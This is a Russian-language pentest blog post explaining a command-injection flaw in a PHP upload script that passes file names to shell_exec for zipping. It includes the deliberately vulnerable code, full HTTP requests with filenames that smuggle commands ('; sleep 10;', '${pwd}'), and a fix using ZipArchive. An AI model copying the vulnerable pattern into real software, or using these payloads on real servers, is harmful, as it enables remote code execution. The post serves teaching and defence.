14 подписчиков
RCE в имени файла
Приведенный ниже код предназначен для загрузки файла на сервер и последующего создания архива.
<?php
$uploadDir = "uploads/";
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (!empty($_FILES['uploaded_files']['name'][0])) {
foreach ($_FILES['uploaded_files']['tmp_name'] as $key => $tmpName) {
$fileName = basename($_FILES['uploaded_files']['name'][$key]);
$targetFile = $uploadDir . $fileName;
if (move_uploaded_file($tmpName, $targetFile)) {
$randomName = uniqid('archive_') . '.zip';
$zipPath = $uploadDir . $randomName;
$command = "cd " . $uploadDir . " && zip -r " . $randomName . " " . $fileName;
shell_exec($command);
unlink($targetFile);
$result_message = "<br><br> Архив успешно создан! <br> Скачать архив: <a href='" . $zipPath . "'>" . $randomName . "</a>";
} else {
$result_message = "<br><br> Ошибка при загрузке файла.";
}
}
} else {
$result_message = "<br> Пожалуйста, выберите файл для загрузки.";
}
}
?>
Причины RCE
• Функция shell_exec выполняет команды в оболочке, что делает её уязвимой для атак через командную инъекцию.
• Функция basename удаляет путь из имени файла, но не предотвращает использование специальных символов, которые могут быть интерпретированы оболочкой.
• Имя файла, полученное из $_FILES, не проходит проверку на наличие опасных символов или команд.
Примеры
1. Задержка выполнения команды
Злоумышленник может загрузить файл с именем, содержащим команду sleep, чтобы проверить наличие уязвимости:
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 245
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygmR121iNsK69G6o0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundarygmR121iNsK69G6o0
Content-Disposition: form-data; name="uploaded_files[]"; filename="1.php ; sleep 10;"
Content-Type: application/octet-stream
lol
------WebKitFormBoundarygmR121iNsK69G6o0--
Результат: Сервер будет ждать 10 секунд, что свидетельствует о том, что команда sleep 10 была успешно выполнена.
2. Получение содержимого директории
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 245
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygmR121iNsK69G6o0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundarygmR121iNsK69G6o0
Content-Disposition: form-data; name="uploaded_files[]"; filename="${pwd}"
Content-Type: application/octet-stream
lol
------WebKitFormBoundarygmR121iNsK69G6o0--
Результат: Содержимое текущей директории будет сохранено в архиве, который злоумышленник сможет скачать.
Исправление уязвимости
Для исправления дефекта, вместо shell_exec, лучше использовать класс ZipArchive, т.к он работает с файловой системой, не выполняя команды через оболочку.
#Pentest
2 минуты
7 октября